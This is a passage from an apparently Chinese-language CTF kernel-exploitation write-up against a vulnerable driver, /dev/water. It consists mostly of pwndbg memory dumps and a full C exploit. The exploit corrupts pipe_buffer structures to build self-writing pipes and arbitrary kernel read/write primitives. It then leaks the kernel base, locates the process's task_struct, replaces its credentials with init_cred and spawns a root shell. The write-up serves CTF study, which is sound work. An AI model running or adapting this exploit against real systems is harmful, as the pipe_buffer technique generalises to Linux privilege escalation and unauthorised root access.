read(pipe_list[i][0], &page_ptr, sizeof(page_ptr));
printf("%p\n",page_ptr);
if (page_ptr == evil_pipe_buf.page){
self_4th_pipe_idx = i;
printf("\033[32m\033[1m[+] Found self-writing pipe:\033[0m"
"%d\n",
self_4th_pipe_idx);
break;
}
}

调试信息如下:

1
2
3
4
5
pwndbg> search -t qword (0xffffea00001d5040+0x40)
Searching for value: b'\x80P\x1d\x00\x00\xea\xff\xff'
<pt> 0x7fffa821f280 0xffffea00001d5080
......
<pt> 0xffff8880075420c0 0xffffea00001d5080
  • 搜索 info_pipe_buf->page + 0x40(经过调试,最后一个就是目标)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> telescope 0xffff8880075420c0
00:00000xffff8880075420c0 —▸ 0xffffea00001d5080 ◂— 0xfffffc0000200 /* self-writing pipe1 */
01:00080xffff8880075420c8 ◂— 0xb8000000c8
02:00100xffff8880075420d0 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂—0
03:00180xffff8880075420d8 ◂— 0x10
04:00200xffff8880075420e0 ◂— 0x0
05:00280xffff8880075420e8 ◂— 0x6e6e6e6e6e6e6e6e ('nnnnnnnn')
... ↓ 2 skipped
08:00400xffff888007542100 ◂— 0x6e6e6e6e6e6e6e6e ('nnnnnnnn')
... ↓ 7 skipped
10:00800xffff888007542140 ◂— 0x6e6e6e6e6e6e6e6e ('nnnnnnnn')
... ↓ 7 skipped
18:00c0│ 0xffff888007542180 —▸ 0xffffea00001d4bc0 ◂— 0xfffffc0000000
19:00c8│ 0xffff888007542188 ◂— 0x1400000010
1a:00d0│ 0xffff888007542190 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂—0
1b:00d8│ 0xffff888007542198 ◂— 0x10
1c:00e00xffff8880075421a0 ◂— 0x0
1
2
3
4
5
18:00c0│  0xffff888007542180 —▸ 0xffffea00001d5080 ◂— 0xfffffc0000200 /* self-writing pipe2 */
19:00c8│ 0xffff888007542188 ◂— 0xc0000000c0
1a:00d0│ 0xffff888007542190 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
1b:00d8│ 0xffff888007542198 ◂— 0x10
1c:00e00xffff8880075421a0 ◂— 0x0
  • 覆盖位于 0xffff888007542180pipe_buffer
1
2
3
4
5
6
7
8
9
1d:00e80xffff8880075421a8 ◂— 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
... ↓ 2 skipped
20:01000xffff8880075421c0 ◂— 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
... ↓ 7 skipped
28:01400xffff888007542200 ◂— 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
... ↓ 7 skipped
30:01800xffff888007542240 —▸ 0xffffea00001d4b00 ◂— 0xfffffc0000000
31:01880xffff888007542248 ◂— 0xc00000018
32:01900xffff888007542250 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
1
2
3
4
5
30:01800xffff888007542240 —▸ 0xffffea00001d5080 ◂— 0xfffffc0000200 /* self-writing pipe3 */
31:01880xffff888007542248 ◂— 0xc0000000c0
32:01900xffff888007542250 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
33:01980xffff888007542258 ◂— 0x10
34:01a0│ 0xffff888007542260 ◂— 0x0
  • 覆盖位于 0xffff888007542240pipe_buffer

现在成功将3个 pipe_buffer 修改为 self-writing pipe(执行 write(pipe_list[target][1]) 可以修改 pipe_buffer 本身)

  • self-writing pipe1:偏移为 0xc0
  • self-writing pipe2:偏移为 0x180
  • self-writing pipe3:偏移为 0x240

之后就可以进行 RAA 和 WAA 了,这里我们使用三个管道:

  • self-writing pipe1:用以进行内存空间中的任意读写,我们通过修改其 page 指针完成
  • self-writing pipe2:用以修改 self-writing pipe3,使其写入的起始位置指向 self-writing pipe1
  • self-writing pipe3:用以修改 self-writing pipe1self-writing pipe2,使得 self-writing pipe1 的 pipe 指针指向指定位置,self-writing pipe2 的写入起始位置指向 self-writing pipe3

这里可以篡改 pipe_buffer->offsetpipe_buffer->len 来移动 pipe 的读写起始位置,从而实现无限循环的读写,但是这两个变量会在完成读写操作后重新被赋值

在执行读写原语之前需要先执行如下的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));

evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xff0;

evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
evil_3rd_buf.len = 0;
sleep(2);
write(pipe_list[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
puts("change pipe_buffer down");
sleep(2);

evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
evil_4th_buf.len = 0;

调试信息如下:

1
2
3
4
5
6
7
10:00800xffff88800754a168 ◂— 0x6e6e6e6e6e6e6e6e ('nnnnnnnn')
... ↓ 2 skipped
13:00980xffff88800754a180 —▸ 0xffffea00001d5280 ◂— 0xfffffc0000200
14:00a0│ 0xffff88800754a188 ◂— 0xb8000000c8
15:00a8│ 0xffff88800754a190 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
16:00b0│ 0xffff88800754a198 ◂— 0x10
17:00b8│ 0xffff88800754a1a0 ◂— 0x0
1
2
3
4
5
6
7
10:00800xffff88800754a168 ◂— 0x6e6e6e6e6e6e6e6e ('nnnnnnnn')
... ↓ 2 skipped
13:00980xffff88800754a180 —▸ 0xffffea00001d5280 ◂— 0xfffffc0000200
14:00a0│ 0xffff88800754a188 ◂— 0x240
15:00a8│ 0xffff88800754a190 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
16:00b0│ 0xffff88800754a198 ◂— 0x10
17:00b8│ 0xffff88800754a1a0 ◂— 0x0
  • 偏移 0x240 处是 self-writing pipe3
1
2
3
4
2b:01580xffff88800754a240 —▸ 0xffffea00001d5280 ◂— 0xfffffc0000200
2c:01600xffff88800754a248 ◂— 0xe0000000c8
2d:01680xffff88800754a250 —▸ 0xffffffff82246ec0 (__entry_text_end+283401) ◂— 0x0
2e:01700xffff88800754a258 ◂— 0x10
  • 现在往 self-writing pipe2 中写入数据就会修改 self-writing pipe3

任意读写的原语如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0x1ff8;
evil_2nd_buf.page = page_to_read;

/* 修改pipe3->offset=0,之后往pipe3中写入数据时会覆盖pipe1 */
write(pipe_list[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));

/* 修改pipe1->page=page_to_read */
write(pipe_list[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
/* 填充空间,为了使下一次write可以修改pipe2 */
write(pipe_list[self_4th_pipe_idx][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
/* 修改pipe2->offset=0x240,之后往pipe2中写入数据时会覆盖pipe3 */
write(pipe_list[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

read(pipe_list[self_2nd_pipe_idx][0], dst, 0xfff); /* RAA */
}

void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
evil_2nd_buf.page = page_to_write;
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0;

/* 修改pipe3->offset=0,之后往pipe3中写入数据时会覆盖pipe1 */
write(pipe_list[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));

/* 修改pipe1->page=page_to_write */
write(pipe_list[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
/* 填充空间,为了使下一次write可以修改pipe2 */
write(pipe_list[self_4th_pipe_idx][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
/* 修改pipe2->offset=0x240,之后往pipe2中写入数据时会覆盖pipe3 */
write(pipe_list[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

write(pipe_list[self_2nd_pipe_idx][1], src, len); /* WAA */
}

利用 RAA 来扫描内存空间,查找可用的地址来计算内核偏移

接着可以利用 prctl(PR_SET_NAME) 重命名当前进程,然后利用 RAA 来查找 task_struct 的位置

最后利用 WAA 将 task_struct->cred 修改为 init_cred 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>
#include <ctype.h>

size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred;

void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int print_hex(void *p, int size)
{
int i;
unsigned char *buf = (unsigned char *)p;

if(size % sizeof(void *))
{
return 1;
}
printf("--------------------------------------------------------------------------------\n");
for (i = 0; i < size; i += sizeof(void *)){
printf("0x%04x : %02X %02X %02X %02X %02X %02X %02X %02X 0x%lx\n",
i, buf[i+0], buf[i+1], buf[i+2], buf[i+3], buf[i+4], buf[i+5], buf[i+6], buf[i+7], *(unsigned long*)&buf[i]);
}
return 0;
}

void errPrint(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(2);
exit(EXIT_FAILURE);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void get_root(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

exit(EXIT_SUCCESS);
}


struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

#define PIPE_NUM 200
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192

int self_4th_pipe_idx = -1;
int self_2nd_pipe_idx = -1;
int self_3rd_pipe_idx = -1;
struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
char temp_zero_buf[0x1000] = {'\0'};

int pipe_list[PIPE_NUM][2];

void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0x1ff8;
evil_2nd_buf.page = page_to_read;

write(pipe_list[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));

write(pipe_list[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_list[self_4th_pipe_idx][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

write(pipe_list[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

read(pipe_list[self_2nd_pipe_idx][0], dst, 0xfff);
}

void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
evil_2nd_buf.page = page_to_write;
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0;

write(pipe_list[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));

write(pipe_list[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_list[self_4th_pipe_idx][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

write(pipe_list[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

write(pipe_list[self_2nd_pipe_idx][1], src, len);
}

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
size_t page_count;

page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;

return vmemmap_base + page_count * 0x40;
}

int main() {
save_status();
bind_core(0);

int fd = open("/dev/water",O_RDWR);
char buf[0x200];

memset(buf,0x31,0x200);
ioctl(fd,0x20,&buf);
ioctl(fd,0x30,&buf);

for(int i = 0; i < PIPE_NUM; i++){
if(pipe(pipe_list[i]) == -1){
errPrint("pipe");
}
}

for (int i = 0; i < PIPE_NUM; i++){
if (fcntl(pipe_list[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0){
/* 8 * pipe_buffer = 0x180 kmalloc-512 */
errPrint("fcntl");
}
}

for (int i = 0; i < PIPE_NUM; i++){
write(pipe_list[i][1], "AAAAAAAA", 8); // tag
write(pipe_list[i][1], &i, sizeof(int));
write(pipe_list[i][1], &i, sizeof(int));
write(pipe_list[i][1], &i, sizeof(int));
write(pipe_list[i][1], "AAAAAAAA", 8);
write(pipe_list[i][1], "BBBBBBBB", 8);
}

memset(buf,0,0x200);
ioctl(fd,0x50,&buf); /* 覆盖pipe_buffer->page末尾字节 */

int victim_idx = -1;
int orig_idx = -1;
for (int i = 0; i < PIPE_NUM; i++){
char tag[0x10];
int nr;
memset(tag, 0, sizeof(tag));
read(pipe_list[i][0], tag, 8);
read(pipe_list[i][0], &nr, sizeof(int));
if (!strcmp(tag, "AAAAAAAA") && nr != i){
orig_idx = nr;
victim_idx = i;
printf("\033[32m\033[1m[+] Found index-%d and index-%d point the same page \033[0m\n",victim_idx, orig_idx);
}
}
if (orig_idx == -1 || victim_idx == -1){
errPrint("can't find");
}

struct pipe_buffer info_pipe_buf;
size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ / sizeof(struct pipe_buffer));

memset(buf,'p',sizeof(buf));
write(pipe_list[victim_idx][1], buf, SND_PIPE_BUF_SZ * 2 - 24 - 3 * sizeof(int));
close(pipe_list[orig_idx][0]); /* 释放其中一个pipe_buffer */
close(pipe_list[orig_idx][1]);

//sleep(2);

puts("write down");

for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx){
continue;
}
if (fcntl(pipe_list[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0){
/* 2 * pipe_buffer = 0x60 kmalloc-96 */
errPrint("Fcntl Pipe");
}
}

memset(buf,0,sizeof(buf));
read(pipe_list[victim_idx][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
print_hex(buf,SND_PIPE_BUF_SZ - 8);
read(pipe_list[victim_idx][0], &info_pipe_buf, sizeof(info_pipe_buf));
print_hex((char*)&info_pipe_buf,sizeof(info_pipe_buf));

//sleep(2);

printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"
"\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n",
info_pipe_buf.page, info_pipe_buf.ops);

info_pipe_buf.page = (struct page *)((size_t)info_pipe_buf.page + 0x40);
write(pipe_list[victim_idx][1], &info_pipe_buf, sizeof(info_pipe_buf));
puts("change pipe_buffer down");

//sleep(2);

int snd_orig_idx = -1;
int snd_victim_idx = -1;
for (int i = 0; i < PIPE_NUM; i++){ /* 第二次堆喷 */
int nr;
if (i == orig_idx || i == victim_idx){
continue;
}
read(pipe_list[i][0], &nr, sizeof(int));
if (i < PIPE_NUM && i != nr){
snd_orig_idx = nr;
snd_victim_idx = i;
printf("\033[32m\033[1m[+] Found index-%d and index-%d point the same page \033[0m\n",snd_victim_idx, snd_orig_idx);
}
}

if (snd_orig_idx == -1 || snd_victim_idx == -1){
errPrint("can't find");
}

size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
struct pipe_buffer evil_pipe_buf;
struct page *page_ptr;

memset(buf,'k',sizeof(buf));
write(pipe_list[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - 24 - 3 * sizeof(int));
close(pipe_list[snd_orig_idx][0]);
close(pipe_list[snd_orig_idx][1]);

puts("write down");
//sleep(2);

for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx){
continue;
}

if (fcntl(pipe_list[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0){
/* 4 * pipe_buffer = 0xc0 kmalloc-192 */
errPrint("Fcntl Pipe");
}
}

puts("fcntl down");
//sleep(2);

evil_pipe_buf.page = info_pipe_buf.page;
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
evil_pipe_buf.ops = info_pipe_buf.ops;
evil_pipe_buf.flags = info_pipe_buf.flags;
evil_pipe_buf.private = info_pipe_buf.private;

write(pipe_list[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
puts("change pipe_buffer down");
//sleep(2);

for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx){
continue;
}

read(pipe_list[i][0], &page_ptr, sizeof(page_ptr));
printf("%p\n",page_ptr);
if (page_ptr == evil_pipe_buf.page){
self_2nd_pipe_idx = i;
printf("\033[32m\033[1m[+] Found self-writing pipe:\033[0m%d\n",
self_2nd_pipe_idx);
break;
}
}

evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

memset(buf,'n',sizeof(buf));
write(pipe_list[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
//sleep(2);
write(pipe_list[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

puts("change pipe_buffer down");
//sleep(2);

for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx){
continue;
}

read(pipe_list[i][0], &page_ptr, sizeof(page_ptr));
printf("%p\n",page_ptr);
if (page_ptr == evil_pipe_buf.page){
self_3rd_pipe_idx = i;
printf("\033[32m\033[1m[+] Found self-writing pipe:\033[0m"
"%d\n",
self_3rd_pipe_idx);
break;
}
}

evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

memset(buf,'m',sizeof(buf));
write(pipe_list[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
//sleep(2);
write(pipe_list[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

puts("change pipe_buffer down");
//sleep(2);

for (int i = 0; i < PIPE_NUM; i++){
if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx || i == self_3rd_pipe_idx){
continue;
}

read(pipe_list[i][0], &page_ptr, sizeof(page_ptr));
printf("%p\n",page_ptr);
if (page_ptr == evil_pipe_buf.page){
self_4th_pipe_idx = i;
printf("\033[32m\033[1m[+] Found self-writing pipe:\033[0m"
"%d\n",
self_4th_pipe_idx);
break;
}
}

memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));

evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xff0;

evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
evil_3rd_buf.len = 0;

//sleep(2);
write(pipe_list[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
puts("change pipe_buffer down");
//sleep(2);

evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
evil_4th_buf.len = 0;

vmemmap_base = (size_t)info_pipe_buf.page & 0xfffffffff0000000;
for (;;)
{
arbitrary_read_by_pipe((struct page *)(vmemmap_base + 157 * 0x40), buf);

if (*(uint64_t *)buf > 0xffffffff81000000 && ((*(uint64_t *)buf & 0xfff) == 0x0e0))
{
kernel_base = *(uint64_t *)buf - 0x0e0;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"
"\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n",
kernel_base, kernel_offset);
break;
}

vmemmap_base -= 0x10000000;
}
printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);


uint64_t parent_task, current_task;
puts("[*] Seeking task_struct in memory...");

uint64_t *comm_addr = 0;
uint64_t *point_buf = malloc(0x1000);

char target[0x20];
strcpy(target, "8888888888");
if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0){
errPrint("cannot set name");
}

for (int i = 0; 1; i++)
{
arbitrary_read_by_pipe((struct page *)(vmemmap_base + i * 0x40), point_buf);

comm_addr = memmem(point_buf, 0xf00, target, 0xd);
if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-57] > 0xffff888000000000) && (comm_addr[-56] > 0xffff888000))
{

parent_task = comm_addr[-60];

current_task = comm_addr[-54] - 2528;
page_offset_base = (comm_addr[-54] & 0xfffffffffffff000) - i * 0x1000;
page_offset_base &= 0xfffffffff0000000;

printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",
(struct page *)(vmemmap_base + i * 0x40));
printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",
page_offset_base);
printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
"0x%lx\n\n",
current_task);
break;
}
}

size_t *tsk_buf;
uint64_t init_task = 0xffffffff83011200+kernel_offset;
uint64_t init_cred = 0xffffffff8308c620+kernel_offset;
uint64_t init_nsproxy = 0xffffffff8308c140+kernel_offset;

printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n", init_nsproxy);

puts("[*] Escalating ROOT privilege now...");

size_t current_task_page = direct_map_addr_to_page_addr(current_task);

arbitrary_read_by_pipe((struct page *)current_task_page, buf);
arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8]);

tsk_buf = (size_t *)((size_t)buf + (current_task & 0xfff));
tsk_buf[367] = init_cred;
tsk_buf[368] = init_cred;
tsk_buf[381] = init_nsproxy;

arbitrary_write_by_pipe((struct page *)current_task_page, buf, 0xff0);
arbitrary_write_by_pipe((struct page *)(current_task_page + 0x40),&buf[512 * 8], 0xff0);

puts("[+] Done.\n");
puts("[*] checking for root...");

get_root();

return 0;
}